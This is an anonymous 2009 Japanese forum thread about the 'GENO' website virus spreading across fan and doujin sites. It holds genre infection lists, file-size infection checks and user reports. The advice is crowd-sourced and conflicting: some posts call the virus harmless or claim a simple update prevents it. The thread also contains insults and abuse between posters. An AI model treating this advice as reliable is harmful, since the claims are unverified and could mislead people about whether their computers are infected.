今は非常事態なんだからあまり強硬に伏せ字強要する方が痛いジャンル扱いされるよ
あんたの言い分聞いてると自分のジャンルさえ無事なら他はどうでもいいとしか聞こえないんだよ
自重しろ

>>556
IE7よりは
でも火狐のほうがまだ安全みたい

>>545
どんまい
アウトだよそれ

>>545
はいアウトー

馬鹿な質問してごめんなんだけど
まとめwikiって感染しないの？

>>545
もう上の一行の時点でアウトだな

あー、とうとう半ナマだけでなくナマにも感染きたのか…。
すごい勢いだなぁ…。

>>552-555
Gファンタジーだから女性向けなんじゃないか？

>>536
C→Windows→Help→mui→0409か0411或いは両方の中にある。
探せ。

>>546
お言葉だけど、感染を知らずにサーチなどから飛んでしまう人にとって
まとめサイトにそのジャンルが正式名称で表記されてようが伏字表記
されていようが、あんまり関係ないことだと思うな…。

ここまで来ればどのジャンルが安全てこともないんだし
全ジャンルの人間が全ジャンル警戒して対策しなきゃ。

Vistaの場合 sqlsodbc.chm は
　C:\Windows\Help\mui\0409
　C:\Windows\Help\mui\0411
このどちらか、あるいは両方のディレクトリの中に sqlsodbc.chm があります。
sqlsodbc.chm を右クリック→プロパティでボリュームが確認できますので、
そこが　50,727 bytes　なら正常です。

これなんだけど、49.5kってことは感染？

>>545
明らかにアウトでしょ

携帯から報告失礼します。
デビルメイクライで二次サイトを運営していた者です。

本日昼過ぎ、自サイトのソースを確認しましたら、
ソース下部に怪しいJAVAスクリプトが埋まっているのを発見しました。
なんだか怖くなって即全ページを削除。現在、閲覧できないようにしてあります。

デビルメイクライでサイト運営中の方、またサイト巡りをしてらっしゃる方、
急いでPCの感染チェックをおねがいします。

ちなみに>>10の判定方法では私のPCは白でしたが、怖くて堪らない。
おとなしくｸﾘｱｲﾝｽｺするべきなのかもしれないorz

>>579
プロパティ見ろと

>>579
右クリしてプロパティで見たらいい

>>579
右クリックでプロパティ見てみたら50,727って表示されてると思う

>>558
いやー未感染のPCの電源落としてるから感染させようがないわw
残念でしたww

>568
いやだからここに報告する際に伏字使われてると
ジャンルの正式名称が分からなくてまとめに載せられねって事だろ
同人板にいればジャンルの伏字全て知ってて当たり前なの？
違うだろ

>>579
49.5kbyte(50,727byte)ってでてない？

ていうか何度も出てるから、いい加減その辺はまとめを読んでほしい。
焦るのはわかるんだけどね。

>>581
もしFC2だったなら広告かも
FC2.comみたいなのが下部に表示されてたはず

そもそも同人サイトじゃないんだから伏せる必要がないと思うんだが

あとここで感染したかもおおこわいこわいとか言ってる奴は
黙ってクリーンインスコしろ
あとは回線切って別に死ななくてもいいから
一週間くらいローカルだけ見てろ

ここで騒いだって「大丈夫だよ＾＾」って言ってくれる人はいませんよ

>>579
正常
ポインタ載っけただけでなくちゃんとプロパティ確認汁

感染を確認したテイルズサイト、管理人さん反応がないのですが
登録してある幸管に報告してもいいのかな？

どこのバカだよ！こんな危険なウイルス開発したヤツ

>>579
1kbは1000byteではない

>>579
ちゃんと右クリしてプロパティまで見て言ってる？

>>560
一般用のまとめサイトもあるよ。
自分は同人用のまとめwikiにリンク貼ったけど
同人用の方が初心者向けっぽく感じたから

で、wikiの平成バイク乗りって訂正するの？

>>2
「隠の王」は本屋では青年漫画と同じくくり

>>591
そのほうが良いかもしれんね
幸でそのサイトクリックしたらウイルス感染とか、閲覧者がかわいそすぎる

同人じゃないまとめサイトは
セキュ板の1にwikiが貼ってある
http://pc11.2ch.net/test/read.cgi/sec/1242415108/

ただこれは誰でも編集可なのでばんばん貼るのはためらわれる

>>581
広告とかじゃないの？
普通はHEADとBODYの間に埋め込まれることが多いからソース下部ではあまり見ないんだが
スクリプトがどんなのだったか覚えてる？

98だと
sqlsodbc.chmはWindowsのSystemの中にある
cmd.exe、regedit.exeが立ち上がるかどうかは
ファイル名を指定して実行で
「command.com」「regedit.exe」を入力する

当方詳しい訳ではないのでミスあったら
指摘お願いします

>>581
今まで報告のあるものは</HEAD>と<BODY>の間じゃなかったか
下部なら広告タグなんじゃないの
そんなのも見分けられない奴が多くてびっくりしてる

>>576
一応少年誌扱い
女性読者は圧倒的に多いけど

ニコニコとか感染しねえのかな

もーどっかに無料レンタル鯖の広告と
ＧＥＮＯの違いも貼っといたほうがいいんじゃないか

いい加減、1kB=1000Bで1kiB=1024Bと言う事をみんな覚えてくれ

了解。今すぐｸﾘｰﾝします。

>>581
ソース下部だと、FC2とかの広告用のjavaScriptとかのような気もしますが
無料スペースとかではなく？

まあ怖いなと思ってる人はクリンインスコしたほうがいいかもね
PC軽くなるしいい機会だと思えば

wikiで創作同人ゲームサイトが（男性向け）となってたけど
女性向けでも感染確認されてます

まとめサイト来た時点以降ネットで新規開拓しないで自分のPCチェックすれば
正直ジャンル名が伏せてあろうと伏せてなかろうとどうでもいい話。
というかもうジャンル名いらなくね？どこでもまんべんなくじゃないか？

>>601
自分が管理してるサイトのｊｓくらいわかっとけよと思うよな。
アホ大杉。サイトなんかやめてしまえ。

>>592
>>94
怖くて踏んでないから何が書いてあるのか分からないけど
海外から来たウイルスだそうです

おｋ、ファイルたどったら見つかった。吃驚させて済まんす。

>>579と同じく49.5KBなんだけど大丈夫かな

火狐ユーザーなんだけどニフティのウイルスチェックはIEのみってなってるんだけど
火狐でも出来るとこってあるの？
IE立ち上げたくない･･･
どなたか誘導よろしくお願いします

>>585
死ね

>>2もろくに見ないで馬鹿な質問してくる奴は何なの？
「大丈夫ですよ＾＾」って言って欲しいのか？
不安なのは皆同じなんだよ。
「初心者ですみません」「無知ですみません」と言えば許されると思ってんのか

まあ広告タグもわからんなら何か他のものにも
感染してるかも知れんしクリインスコでいいかも知れんな
つかマジでサイト作るなよその知識で

>>598
ありがとう見てくる

>>613は忘れておくれ

>>421
同人板ていうか同人サイトの男女比率考えれば当然

>>597
一応今報告メール出しときました
ジャンル者の方は気を付けて下さい

同人サイトなどへの感染例が報告されたジャンル一覧。サーチや情報サイトなど閲覧者多数サイト感染による被害の爆発的拡大が予測される場合、特に（）内に記載。

■アニメ系
エヴァ(小説サーチ) / 忍たま乱太郎 / プリキュア / 天体戦士サンレッド / コードギアス / レッツ&ゴー / イナズマイレブン
ガンダム：SEED、00 /

■少年漫画【週刊飛翔系】
リボーン(オンリー＋プチオンリー告知サイト・ファンサイト) / テニミュ(ファンサイト) / ジョジョの奇妙な冒険 / ワンピース /
デスノート / D.Gray-man / 遊戯王無印
■少年漫画【Ｇファンタジーなど少年ガンガン系、小学館、その他】
鋼の錬金術師(オンリー告知サイト) / 隠の王 / 黒執事 / コナン
■青年漫画
ヘタリア (PC鯖使用の携帯向け同盟)/ おお振り(アンソロ告知サイト) / 福本：越境、銀金

■ゲーム【RPG、ACT】
幻想水滸伝 / 戦国BASARA(アンソロ告知サイト) / 戦国無双 / バイオハザード / セブンスドラゴン
メガテン：真、サマナー、ライドウ、P4 / テイルズオブ：ジアビス
■ゲーム【乙女、BL、男性向け】
Vitamin / 遙かなる時空の中で / Starry☆Sky / クインロゼ / 薄桜鬼 / 金色のコルダ
ニトロプラスキラル：咎狗(アンソロ告知サイト)、sweet pool /
Fate / ひぐらし
■ゲーム【アーケード、シューティング、格闘、その他】
ポップンミュージック / ビートマニア�UDX / 東方 (超大手感染情報) / ブレイブルー /

■小説・ライトノベル - 小野不由美（サーチ）
■創作 - 創作小説 / 男性向け創作同人ゲーム / 女性向け創作同人ゲーム / オリJUNE
■特撮 - 仮○ライ○ー電凹 ※生モノ伏字、凹＝王※
■生モノ - ジャニーズ：K○T-TUN、N○WS>>566
■その他の接触確率の高そうな報告例
非同人系ゲーム同盟サイト / 模型イベントホビーコンプレックス告知サイト

このスレで報告されてる以外の新規、ゲームＢＬニトロプラスキラルに「sweet pool」

自分のメインジャンルで登録しているサーチにURLつきで連絡してみたよ。
なにせメジャータイトル故サイト持ちの年齢層が幅広くておっかないんだ。
自分のサイトにも記事やまとめサイトへの誘導記事載せた。
ネラー認定されても被害が拡大してジャンルが廃れるよりマシだよな。

>>613
なぜスレを読まない

>>614
まとめ見てこい
IEタブぶちこめば見れる

>>610

でもみんな「自分は大丈夫、決まったサイトしか見ないし」って思ってるから
ジャンル名出した方が身近な印象与えられるとは思うんだ

まあ逆に「自分のトコは無いから大丈夫」って思って安心する人が出る可能性もあるけどさ

firefox使ってるんですが、IEとfirefoxでjavaスクリプトのバージョンが違うのを
確認するのにはどうすれば良いのでしょうか？
IEとfirefoxでバージョンが違っていた場合、両方とも新しくするにはどうすれば
良いのでしょうか？
firefoxでjavaの最新版ダウンロード→インストールはしてあります。
IEでも同じ様にjavaスクリプトの最新版をダウンロードしないといけないのでしょうか？

>>610
ジャンル名あったほうが自分に近く感じて
危機感もちょっとは持つんじゃないの
これだけ広がってるって目安にもなるし

>>615
伏せ字が必要かどうかは別としてお前もいい加減痛い。
あと通報しときました。

質問です
XP使用でウィルスバスター2009を使用中
さっき定義手動更新して全体スキャンではなにも出ません

１のsqlsodbc.chm容量確認しようとすると
「ドライブCのボリュームラベルがありません
C:\WINDOWS\system32のディレクトリ
ファイルが見つかりません」と出ます
実際sqlsodbc.chmはあり、プロパティを確認すると
サイズ49.5KB(50,727バイト)
ディスク上のサイズ52KB(53,248バイト)
更新日時2004年8月5日
になってました

アウトなんでしょうか？

>>613
だからプロパティ見てくれと５７９がなんども言われてるから

>>2の者です

まとめに載せるジャンル名の伏字について
色々考えたんですが、ここに載せることでジャンルが被る被害があるとすれば
【同人サイトがあるようだ、という推測の根拠となる】くらいではないかと思います
しかしそれは２ちゃんのスレやコミケのジャンルコードなどでも同じことですので、
基本【伏字は解除】して掲載します
自分が知らないジャンルはそのまま転載するので、適宜指摘してください
今後、この件について何かあればWikiから直接自分へ連絡をお願いします

アウトか否かの判断を委ねる人多いけど
わからないなら再起動してみればいいのではないのか？

ソースのそのまま貼っちゃってごめんね
感染サイトはこんな感じになってるよ
http://www.dotup.org/uploda/www.dotup.org33103.jpg

PS3とかPSPはネサフしても大丈夫なんですか？

>>629
スレ内もしくはまとめwikiに答えがあります

>>629
再起動すればいいんじゃない

>>629
【cmd.exe、regedit.exeが立ち上がるかどうか】
も確認せよ

今北産業の人へﾄﾞｿﾞー

同人サイト向け・通称「GENOウイルス」対策まとめ
ttp://www31.atwiki.jp/doujin_vinfo/

セキュ板本スレ
GENOウイルススレ　★5（実質6）
ttp://pc11.2ch.net/test/read.cgi/sec/1242415108/

>>625
後者の方が多い気がするよ…
つーかマイミクがそうだよorz

あと聞きたいんだが感染してないPCの電源落としてても感染すんの？
615の沸騰ぶりにちょっと疑問に思ってる。

ブログの感染って報告されてるか？

とりあえずもうジャンルはいいんじゃないか
ここまで広がっちゃってるんだし

漫画から多ジャンルのアニメ、ゲーム、果てはナマモノのジャンルまで感染が広がっています
他人事と思わず小さいジャンルであろうと、どのジャンルでも注意してください
とかでさ

>>545
現状亜種というより以前の物と替わってきているので・・・OSはなに？

>>639

まとめに書いてあることまんま聞いてくる人がザクザク増えてきた…

>>631
乙です

>>626
確認するのはJSのヴァージョンじゃない
AdobeFlashとReaderのヴァージョン
JSの遮断はNoScriptというアドオンを入れるか、
ツール→オプションでJavaScriptを有効にするのチェックを外すかする
それとabout:congigで設定変更
このスレをaboutで検索してその設定に従ってくれ

>>641
個人サイトはともかく、サーチやアンソロ告知サイトは
ジャンル込みで載せておくべきだと思う。

>>633
電話のデータフォルダーに保存して、見ようと思ったらjpgになってなかった
よくわからん拡張子だから棄てたんだが何これ

>>640
FC2での感染が報告されてたはず。

>>644
それは前スレとかでも言われてたことだし、
下手にリンクをクリックできない
って思っているんじゃないかな？

>633
うわ、これはソース見たら一発で分かるね

>640
報告はあるにはあったけど少数（というかfc2の１件だけ？）
細く情報もなく信憑性は微妙

再起動は問題なかったのですが検索サイト運営しているので
万が一にも感染していたら怖いなと思ってます
現在自分のサイトに怪しいジャバスクリプトはありません

>>637
立ち上がります

>>640
ブログも危ない

>>621
伏せたりしないんだったら週刊少年飛翔系も
週刊少年ジャンプ系にした方が良くないか？

あとヘタリアは同盟サイト以外に
普通の女性向けサイトも感染してた

【牧場経営】牧場物語同人　五年目【恋愛】
http://changi.2ch.net/test/read.cgi/doujin/1236755911/

269 名前：牧場[sage] 投稿日：2009/05/16(土) 11:06:16 ID:EdZMGbM1O
うちアバスト使いだから感知できたんだけど、よろずメインで少し牧場もやってるサイトが
どうやら感染してるっぽい
（ＧＥＮＯかははっきりとはわからないがまとめサイトみた感じだと
該当ジャンル幸使ってるっぽいし感染の可能性が高い）
一応連絡はしたんだけど他に被害がでてないか心配
サブジャンルだからか幸に登録してないとこだからよかったけど、
今別ジャンルの幸も結構感染してるらしいな
管理人さんも閲も気をつけてね

270 名前：牧場[sage] 投稿日：2009/05/16(土) 13:22:24 ID:yIH9S1az0
それ、GENOスレに報告した方がいいかも知れない

271 名前：牧場[sage] 投稿日：2009/05/16(土) 15:19:04 ID:EdZMGbM1O
というかそのスレですでに報告があったジャンルがメインなとこだからなー
とりあえず行ってくる

スレ見てチェックして見たが問題無かった。

だいぶ前に同人サークルサイト幾つか見てたら、いつの間にか
スパイウエアに感染していた事があって、それ以来見なくなっていたのが幸いしたか。

まとめサイトに書いてあることについてはまとめ読めでいいんじゃない？

まとめｻｲﾄは感染してないよね？

あ、ブログも危ないのか。
サイトもＰＣも感染してなかったのだが、ブログも危ないのなら
ブログへのリンクは切っておいたほうが無難か？

>295でカスペルスキー2009がAdobe Acrobat Reader自体を脆弱性対象認定
当方カスペ7だけど同様に脆弱性ありとして隔離された

クリーンインストする人はしばらくAcrobatのインストールを控えて。

ジャンル名は必要だと思う
PCに疎い層は具体的で差し迫る危険がないと動かない
自分と自分の見てるジャンルがないから安心なんて層、
この勢いじゃすぐ消えるだろ

セキュリティ板のGENOスレに、初心者さんは質問にいかないように･･･
同人スレから流れた感染者があっちのスレで質問しまくって
住人に嫌がられはじめたので

>>652
検索サイトやってるからというのは免罪符にならない
少なくともこのスレ読めば感染したかどうかわかるんだから聞く前に読もうよ

>>621
テニミュって生の方に入れた方がよくないか？

>>388でも同じこと書いてるけど、もう一回。
ウィルスの感染確認するのに、もうcmd.exe、regedit.exeの立ち上がりの有無は
判定方法にならないみたいだから、まとめサイトと次スレテンプレを
書き換えませんか？

>>658
ここまで来ると呆れて何も言えない

>>642
XPです

>>662
こっちでも初心者免罪符にしてまとめ読まないアホが多発してるがな…

>>652
だからそんなこわいなら幸全部消して404にして回線物理的に切っとけよ
こわいこわい言いながら幸運営してネットしてるお前が一番怖い

>>667
アウト

>>633
ブラクラチェッカーだから今回のウィルスは関係ないとはいえ「安全度100％」が皮肉だな…ｗ

>>662
元々、万年素人とか無知ゆとりの類が行っちゃいけない板なのに何も考えず誘導しまくるからだな

まとめWiki、FAQの名称を「よくある質問」や
「質問する前に」などに変更するのはどうだろう
ここまで読まない奴だらけだと無駄かもしれないが

>>652
ウイルスの症状ないのに「アウトですか？」って訊くと
同じように問題ない人まで疑心暗鬼にさせるからやめれ。
検索サイト持ちだからっていうのは理由にならん。

>>644
まとめでも罠リンク貼られた云々って言われて碌にリンク踏めないんよ

よくある質問

・sqlsodbc.chmが見つからない！
　Windowsのバージョンによってある場所が違います。
　・XP　C:\WINDOWS\system32
　・Vista　　C:\Windows\Help\mui\0409 か　C:\Windows\Help\mui\0411
　・98　C:\WINDOWS\system
　スタート→検索でsqlsodbc.chmを探すのが一番手っ取り早いと思われます
　またファイルの日付が2009年3月21日のものは感染している模様です

・sqlsodbc.chmのファイルサイズが49.5kbしかない！
　sqlsodbc.chmを右クリック→プロパティで確認
　50,727 bytesなら正常です

>>675
じゃもう回線切れば

ネットしないのが一番確実な回避法なんだから
今のところその他の「絶対安心」なんて対策はない

以前XPマシンでカスペがトロイ警告出したサイト
このスレ見てもしやとvista機でチェックしてみたら<BODY>タグの前に

（ｆｕｎｃｔｉｏｎ（）｛ｖａｒ　ＲＥ９0jｖａｒ〜２０ａ〜３ｄ〜２２〜
（実際は半角でもっと長い）

みたいなJavaScriptコードがあるんだけど、これってアウト？

>>675
なんでそこだけは読んで後に編集する人限定したから大丈夫な流れ読まないんだ

>>675
今はもう立ち上げ人以外は更新できないようになってるから、罠リンクに関しては大丈夫

>>675
このスレ読んでるなら少なくともここのまとめはもうそんな事ないのわかりきってるだろ
それすら信用できないなら情報収集なんてしようと思わないで落ちればいいんだよ

>>664
まとめサイトには書いてあるけどもうテニミュだけじゃなくて
普通のファンサイト、同人サイトも感染してるらしい

放置してヤバイことになるより、一時の恥を選んでお尋ねします
VistaのUACって、デフォルトの設定ですか？
デフォルトならいいんだけど、自分で設定する必要があるならどこから行うのかご教授願いたい

>>545
自分のところもファイルサイズが同じ
HDDクリーンアップのときに圧縮したみたいなんだけど、それでファイルサイズって変わる？

一応、再インスコの準備はしてるけど、それが気になる

>>678
それだけの情報じゃわかりません

閲覧者を不必要に不安にさせるようなことはうかつに書き込まないように

>>678
アウツ

>>683
デフォ

>>683
このスレ100回読みなおせクズ

>>683
そこまでくると流石にスレ違い
firefoxでjavaスクリプト切って自分でググれ

>>668
でもあっちで初心者丸出し質問されるよりこっちで対処した方がマシだわ

まとめwiki見るのが怖いなら、
最低限このスレの >>1-10 読め。

Adobe関係の最新バージョンと確認方法は >>274

>>688
今はググらせちゃ駄目だろ

なんで自分で調べようと思わないんだろう…

>>682
いやだから、テニミュはナマモノ扱い、テニプリは漫画扱いではないかということ
なんじゃなかろうか。

FlashもReaderもどっちも消せばどうということはない

>>692
ここで聞く＝自分で調べてると思ってんだろ

>>693
> >>682
> いやだから、テニミュはナマモノ扱い、テニプリは漫画扱いではないかということ

それでいいと思うけどな
ミケでもコード違うんだからジャンルが違うと思っても間違いないし

騒ぎすぎ
Cドライブ全削除するわけでもなく実害は無いに等しい
気にしなければ問題なし
スパイウェアみたいなもん

知人にGENOウイルスの話したら サイト持ってないから関係ないしｗｗｗｗって言われた……
まさに>>452の典型　こういう人にはどう言ったらいいのだろうか

普通のサイトにも感染してるよって言っても製薬会社のサイトなんか見ないしｗｗｗみたいな反応

まとめ読むのも惜しいなら少しでも不安になったらクリーンインスコ、サイト削除、パス変更全部やっとけよ
その後ネサフは一切せずに電源落としてケーブルとかはひっこぬく
そうすりゃその間は確実に安心だ

>>200のサイト反応してくれないんだけど、結構時間かかるのかな…

これってgenoウイルス以外のういるすさんもダウソしてゾンビPCにするんでしょ
ほわいたーさんとか入れられたら終わるくね

もうセキュ板のＵＲＬ貼るの止めた方がいいんじゃない？
こっちで初心者ちゃんが暴れるのはともかく、セキュ板の方はまずいよ
まとめスレ>>2があるんだし

>>697
釣りじゃないならマジモンの基地害としか言えない

>686
ありがと、本人に注意喚起のお知らせして、
自サイトでも警告してこよう

ちなみにD.Gray-man、銀魂同人サイトです

>>698
そういう奴ほどGENOウイルスに感染してたりするんだよね

>>697
ｸﾏｰ

>>698
「草生やしてる間にも個人情報だだ漏れかもね」とでも言ってやれ

ムダだろうけど

>>697
>>4を読んだ上でそれいってるなら楽観的過ぎる

MEはどうしたらいいんだ…

>>667
ちょっと試して欲しい事
タスクマネージャを起動してネットワーク使用状況をグラフで見れるようにしておく
また以下をする前のプロセスを覚えておいて欲しい

コマンドプロンプトはあがるみたいだから、
そこからftpと入力
　ftp>
と出ると思うから、1分待って
この間にネットワーク状況やプロセス見ておいて欲しい
open www.example.com
と入力
そのときのネットワーク状況やプロセスがどうなるか知りたい

ニフティ感染？

>>698
今回のことに限らずだけど、クレカのパス盗まれて、変な請求キター！
とか、自分に実害が及ばないと普通の人の反応なんてそんなものだよな…
パソコンに詳しくないくせに危機感ゼロ。

＞ ウイルス定義データベースをアップデートするまでお待ちください
＞ 製品 @niftyウイルスチェックサービス のライセンスを確認中に不明のエラーが検出されました。

って出たけどこれアウトだからの結果？

>>698
・ウイルスに感染悪化→ある日パソを起動すると画面が真っ青に
それかクレジットや通販関係のパス抜かれる可能性あるって言っとけ
具体的でわかりやすいのはそのへん

>>708
窓から投げ捨てろ

>>713
名前欄忘れた。>>698宛ね

>>685
この情報だとアウトってくらいわかりそうなもんだが・・・
あとググレカスで誘導するよりwiki見ろって誘導のほうがイーンジャネーノ？

>>702
向こうはこちらをダシにする荒らしだらけになってスレが機能しなくなり始めてる
これ以上誘導し続けるのは駄目だ

>>665
「とりあえず感染してるか〜」に追記しました

715まで確認、漏れあったら指摘よろしく

>708
ME使ってる時点で既にアウトギリギリだろ
GENOに限らずとっくの昔に何かに感染してる可能性が

ニフティのオンラインスキャンでは感染見つからなかったしソースの改ざんも大丈夫だったけど
何故か金曜日からネット立ち上げた後フリーズしたりデスクトップアイコンクリックできなくなって終了時に開いたりする
これはウイルスと関係あるのか

>>646
ありがとう！今確認したら最新バージョンだった。
firefoxにてjavaスクリプト遮断＆NOスクリプト入れてます。

>718
対応ありがとうございました。
まとめサイト、非常に助かってます。ありがとうございます。

自分報告
ボカロのカイミクサイト感染しました
仲間内も全員感染してたのでサイト完全に全部削除したけど注意

質問しにくる初心者は、この感染具合からみて
減ることは無さそうなので初心者の質問あたりに
質問専用GENOウイルススレ立てることを提案

>>720
他のウイルスかもしれないけど
一般的なアンチウイルスソフト入れたり、窓アップデートはしてないの？

>>696同意

飛翔の項目に、テニスの王子様（同人）

芸能の項目に、テニミュ（同人・ファンサイト）

の方がわかりやすいと思う

FC2ブログが感染って単なる風評？それとも本当？
自分のブログのソースはとりあえず問題なかったけど
感染してる鯖まるごとゾンビ化してるなんて恐ろしいことはないよね？

この勢いだと夜には次スレが立つだろうから
次からは>>1の関連スレはなくして欲しい
セキュ板のほうは同人知らない人だってたくさん見るんだし
ｱﾌｫな質問でスレを埋めるのは勘弁

正直、>>1からのテンプレとまとめwikiだけでも充分
もっとも、今のところ絶対大丈夫なんて対策は
ネット切断くらいしかないけど

>>708
DSP版XP買ってこい

>>727
グレンスレの妙な報告だけだからまだわかってない

XPでもUserAgentを偽装すれば感染しなかったよ
Vistaを狙うウイルスやUserAgentで判別しないウイルスが出てきたらアウトだけど

>>721
configのスペル間違ってた、スマンｗ
>>9も忘れずに。
flashとreaderは最新verでも絶対安心ということはないから注意

だから

報告は名前欄に「報告」入れてくれー！

流れも早いんだし、せっかく報告するんだから、
更新する人が見つけ易いように協力してあげようよ

>>513
>>532
まとめサイトなんだから当然検索にも引っかかる
ロボット除けしてもこのスレッドが引っかかるから無意味

まとめサイトだから他のスレでもまとめとしてそのアドレスが載せられる

俺のPCはよかったんだが親のが心配だ・・・
マカフィーでウイルス見つかる？

>>2
>>723の補足
ボーカロイド取扱いサイト（同人）に感染アリ
一応削除済

>>733
すいません
もっかい書きます！
ボカロのカイミクサイト感染してました。
仲間内も全員感染してたんで(幸通して8以上だと思います)サイト全部削除しました

>>735
>>1

>>737
じゃあ次はOS再インスコだな。
そんでその後はFTPのID、パス変更
まあ全部終わってんならスルーしてくれ

質問
とりあえず現時点では感染していないのでavastを入れてみたんだけど
普通にｲﾝｽﾄｰﾙするだけでおｋですか？
何か設定が必要だったら教えてください

>>735
まとめサイト見ろってんですよ

>>735
マカフィーみたいなクソソフトが対応してるわけないじゃん

>>740
微妙にスレチ

>>698です。みんなレスありがとう！>>713を言ってみます。
ビビりすぎって笑われたのは自分がきちんと理解できてなくてうまく説明できなかったのも原因だと思うけど、
サイトやSNSで注意喚起する時に>>698的な認識の人にもちゃんと伝わるようにすることが感染拡大を抑えるために大事な気がする。

>>735
残念ながら今のところマカフィーは役に立ちません・・・

>>734
伏せ字どうでもいいけどそこまでは気にしなくていいかと。
つーかこういうのイヤなんだろうけどキリないし、そこは気にしても仕方ないよ。

>>739
全部終わりました！わざわざありがとうございます。
自分のサイトはまだしも感染してた友人のサイトが1700くらい登録のある幸で3位だったので
これから大変なことになる気が………

>>677
極論に答えは無し

>>679-681
知るかそんなの。聞いてくるやつに聞け。

>>732
セキュ板のほうでも書いたけど、Firefoxが標準で有効にしている先読み機能そのものに問題はない。
リンクに先読みのヒントが与えられていて、キャッシュされたとしても、
実際にブラウザでそのページを開かないかぎり何も起こらない。

それと、どんなソフトでも完全にセキュアということはないし、いたずらに恐怖をあおるのはどうかと思う。
今回の件はFlash PlayerとAdobe Readerを最新版にしてあれば防げる問題でしょう。

>>740
avastスレ逝け

>>723
仲間内全員感染って凄いな…恐ろしい

>>712と同様になってる人居ませんか？

>>747
GYAAA　それだともう幸のトップに注意文でも書いてもらったほうがいいような気もする

インストール出来ないのに対策するってのもなかなかのものだね…

＞ID:rdW8H0F70

馬鹿かこいつは

>>734
そんなどーでもいい終わった話より建設的な話してくれ

>>747
洒落にならん事態だな・・・

Wiki管さん、そろそろジャンルごとの表記のあたりに、
１件どころではない注意を入れてほしいです

例）

※感染報告が1件以上あったジャンルです。順不同。
中には複数から二桁感染のジャンルもあります（感染疑いを含む）
※ここに挙がっていないジャンルも感染が広がっている恐れがあります

で感染するとどうなるの？
ファイルでもぬかれるの＞

>>755
自分がどんなレスしたかも分からない池沼相手にしても無駄

>>759
>>1

>>753
幸の管理人さんもPC感染していたので、
サイト削除済みです。
やばいっすよねやっぱりこれ

>>749
>今回の件はFlash PlayerとAdobe Readerを最新版にしてあれば防げる問題でしょう。

お前は何を言っているんだ

>>759
>>1を見上げてごらん

>>727
FC2ブログはJavaScriptタグが無効にならないから、誰かが感染して埋め込まれると
そのブログのRSSで感染スクリプト一括送信→受信したトコも閲覧した人も皆
アウト！ってー恐ろしい図式が…ってのはどっかで見たけど、感染報告あったの!?

>>747
幸管理人に頼んで幸トップに告知だしてもらってほしい

ボカロ使える人に頼んで
ウイルス注意って歌って貰うとか無責任なことを思いついたｗ

>>740
重くてうざくても常駐保護は全部入れて最高設定に

>>747
幸通して…ってまさか幸もじゃないよな。
ないなら幸管理人に連絡+注意文のお願い出した方がいい
あと、サイト再建するならウィルスかかってたよごめんね+みんなチェックしてねのお知らせを書くべし

>>748
なんで俺も怒られてんの

>>749
適当なこと言ってんなよ。
現時点で「〜しておけば絶対妨げる」なんてもんはないんだよ。

FC2ブログのは１回だけ書き込みがあって
詳細もなく曖昧なまま

FC2ブログで何かあったらとっくにレンタル元が
何か声明出してると思うけどな

>>762
とにかく大事なのは一刻も早くクリインストしてサイトに注意文をあげることではないか
3位ならブクマしてる人も多いだろうから見てくれる人も多いだろうし

>747
幸管も！？
危ないなあ…告知は出てないのかな

>>747
日のヒットがどんだけだかわかんないんだけど
3/1700って相当やばくないか？
サーチの名前とか載せちゃまずいのかな
そのくらいしないとやばいと思うんだけど

>>768
>>762

>762
うわあああああああああああああああ

削除済みって、幸削除して跡地は？
告知してないなら即刻した方が良いと思うんだが

だが1のこれ

>感染の場合ワクチンはなく、クリーンインスコ必須、パス変必須（ＦＴＰパス抜きされる）です。

はっきりいって被害の実態がわかりにくいよね
確認点は2でいいと思うよ
そろそろ次スレのテンプレ考えるわ

ここには知識人が集まってると思うのかもしれんが
みんな自分で調べてきたから知ってるだけだ

大抵の答えはwikiや２ちゃん内にある
今回はとりあえずググるな
調べろ

てめぇでやれることは全部やったけど同人サイトはおろか、企業サイトを回るのも何か気後れする…
通販で頼みたいものとかもあるのに微妙に恐怖感がある自分はチキンｗ

それこそこれがもっと巨大サイト(ﾔﾌとかwikiとか楽天TOPとか)が感染してたらもっと大々的に取り上げられて
危機感ももっと生まれるんだろうけど、そんなことになったらパンデミックどころの騒ぎではないな…

そろそろデザフェス帰り組の質問攻勢が始まりそうな予感が…

>>768
>>762
幸の管理人さんの個人サイトが感染してると言ってたので、幸も感染してると思います
当該サイトと幸は既に削除済みですけど大事件の予感

5月7日にjavascript切ってない状態の火狐で感染サイト見たが
症状は現れず、ニフティのスキャンでも検出されない
まあ、感染サイトを見たのは確実なので再インスコするが
感染してても全く分からないことがあるかもしれんって報告だけしとく

日本の同人が終わる日が近づいてる…のか？

>>762
ﾎﾟｰﾝ( Д )⌒Y⌒Y⌒Y⌒Y⌒Y⌒...。....。ｺﾛｺﾛ
やばいどころのレベルじゃなかったか

>>774
うん、>>762を見る前だったのよ、ごめん

>>770
FC2は各種障害を広報しなかったり
全然復旧してないのに「解決しました」と言ったり
運営側より有志のサポートのほうが安心だったりする

>>780
てかサーチ感染の場合はジャンル教えてほしいんだけどな

>>780
削除して黙ってるのかひょっとして！？
ウイルス注意とか書いてある跡地すらないんかい！？

明日にイベがあった気がするから
オフもやってる管理人はもしかしたら気づいてない人も居るかもと思うと…

>>781
感染してても、PCの環境によっては反応を起こさないらしい
やっぱりXPでIEな層狙いなんだろうな

うげぇ、幸感染は被害甚大だぞ。

跡地がないなら最低の幸管だな

>>785
ボーカロイドだと思うよ

>>780
もしボカロ系SNS参加してるならそっち経由でも周知したほうがいいかもしれんね・・・。

そんでもって確か明日ボーマスだよな。

>>787
明日大阪インテでシティあるから遠征組みは明日の夜以降に気づきそうだな

手ブロやってる人は描いてくれたら嬉しいなと思うんだけど
どうなんだろう・・・何となく手ブロにいるリアな人達は全く無警戒ぽくて怖い

>>780　幸はボカロでいいすか

>>758修正しました
名前欄とても助かります
他の方もせめて>>2にアンカもらえるとうれしい

明日はインテじゃなかったか
しかも地理的にリアルインフル発生、厚生大臣が朝からずっとインタビューしてたぞ

ウイルス感染に伴いサイト削除ついでに閉鎖ってとこも多いだろうなあ…

924 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/05/16(土) 17:56:27
ふたばもやられたみたいなスレ見たが

まとめサイトの隠の王が陰の王になってるんで修正よろしくです。

うーん、レスに埋もれたか居なくなられたか良く分からないけど、>>709はもういいので
クリーンインストールしてください。

明日、インテックス大阪でイベントあるよー
赤豚主催のオールジャンル
基本は女性メインだけど、一概には言えない

お買い物リスト作るために、サイトを巡回する人が
今夜は多い悪寒……

780はボカロだろ？最初に書いてある

「ウィルス蔓延を防ぐことよりジャンルｗを維持するほうが大事！」って人は
リアルでなんか病気が流行してもコミケとかに無理矢理行って感染拡大させてるようなもんだと思え。


